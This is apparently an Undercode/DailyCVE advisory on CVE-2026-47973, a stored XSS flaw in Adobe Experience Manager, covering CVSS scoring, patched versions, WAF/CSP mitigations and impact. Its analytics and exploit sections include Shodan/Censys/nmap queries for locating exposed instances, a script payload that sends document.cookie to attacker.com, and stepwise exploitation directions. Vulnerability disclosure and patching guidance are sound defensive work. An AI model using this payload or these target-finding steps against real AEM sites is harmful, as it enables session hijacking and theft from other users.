Listen to this Post
Technical Analysis of CVE-2026-47973: How the Adobe Experience Manager (AEM) Stored XSS Vulnerability Works
CVE-2026-47973 is a stored Cross-Site Scripting (XSS) vulnerability affecting Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04, and earlier. This flaw, categorized under CWE-79, resides in the platform’s form-handling logic. The vulnerability stems from improper sanitization and encoding of user-supplied data within specific form fields, allowing malicious content to be persisted in the application’s storage.
An attacker with low privileges—such as a standard content author or a registered community member—can exploit this flaw. They need to craft a malicious JavaScript payload and inject it into a vulnerable input field. Because the AEM backend fails to properly neutralize the script, the malicious code is saved directly into the repository (e.g., JCR). When any other user, such as an administrator or a fellow content editor, browses the page containing the compromised field, the stored payload is delivered from the server and executed in their browser.
This attack is conducted remotely over the network, has low attack complexity, and does not require any special privileges beyond basic authentication (PR:L). However, it does require the victim to click or navigate to the infected page (UI:R). The impact is limited to low confidentiality and integrity impact, as the attacker can steal session tokens or perform actions on behalf of the victim, but cannot directly affect system availability. The changed scope (S:C) indicates the execution occurs in a different security context than the vulnerable component. Adobe has assigned a CVSS base score of 5.4 (Medium) for this vulnerability.
DailyCVE Form:
Platform: Adobe Experience Manager
Version: 6.5.24, LTS SP1, ≤2026.04
Vulnerability: Stored Cross-Site Scripting
Severity: MEDIUM (5.4)
Date: 2026-06-09
Prediction: 2026-06-09
Analytics under What Undercode Say:
Censys Search Query for exposed Adobe Experience Manager instances (version fingerprint) services.service_name: "HTTP" AND services.http.response.html_ "AEM Sign In" Nmap Script to detect Adobe Experience Manager version nmap -p 4502,4503 --script http-aem-version <target> Shodan Search Query for AEM default ports port:4502 "Adobe Experience Manager"
// JavaScript Payload: Proof of Concept for form injection
// Inject into a vulnerable field (e.g., a text field associated with a component)
javascript: "><script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>
Exploit:
- Identify Targets: Scan for AEM instances with versions 6.5.24, LTS SP1, or 2026.04 and earlier, accessible via the network.
- Inject Payload: Log in as a low-privileged user (e.g.,
contributor). Locate a vulnerable form field used for content management (e.g., a text field in a page component) and submit the crafted JavaScript payload, as shown in the `What Undercode Say` section. - Persist Malicious Code: The server stores the injected script in the repository without proper sanitization.
- Trigger Execution: Lure a higher-privileged user (e.g.,
administrator) to view the page containing the compromised field. The victim’s browser executes the script. - Steal Data: The script sends the victim’s session cookies or other sensitive information to an attacker-controlled endpoint.
Protection:
- Immediate Patching: Upgrade Adobe Experience Manager to a fixed version. According to Adobe’s advisory, the patched versions are:
AEM Cloud Service: Release 2026.05 (automatically applied)
AEM 6.5 LTS: Service Pack 2
AEM 6.5: Service Pack 25
- Virtual Patching (WAF): Deploy a Web Application Firewall rule to block requests containing typical XSS patterns, such as
<script>,javascript:, or event handlers likeonload=. - Content Security Policy (CSP): Implement a strict CSP header (e.g.,
script-src 'self') to prevent the execution of unauthorized inline scripts. - Input Validation & Output Encoding: As a best practice, ensure all form submissions are validated on the server-side and all user-generated content is HTML-encoded before being rendered in the browser.
Impact:
- Session Hijacking: The attacker can steal the session cookies of any user who views the compromised page, allowing them to impersonate the victim.
- Data Theft: The executed script can read sensitive page content or submit forms to extract data from the AEM instance.
- Defacement: The attacker can manipulate the DOM to alter the content displayed to users.
- Persistent Threat: Because the malicious code is stored on the server, the infection persists for every subsequent visitor to the page until the payload is manually removed from the repository.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
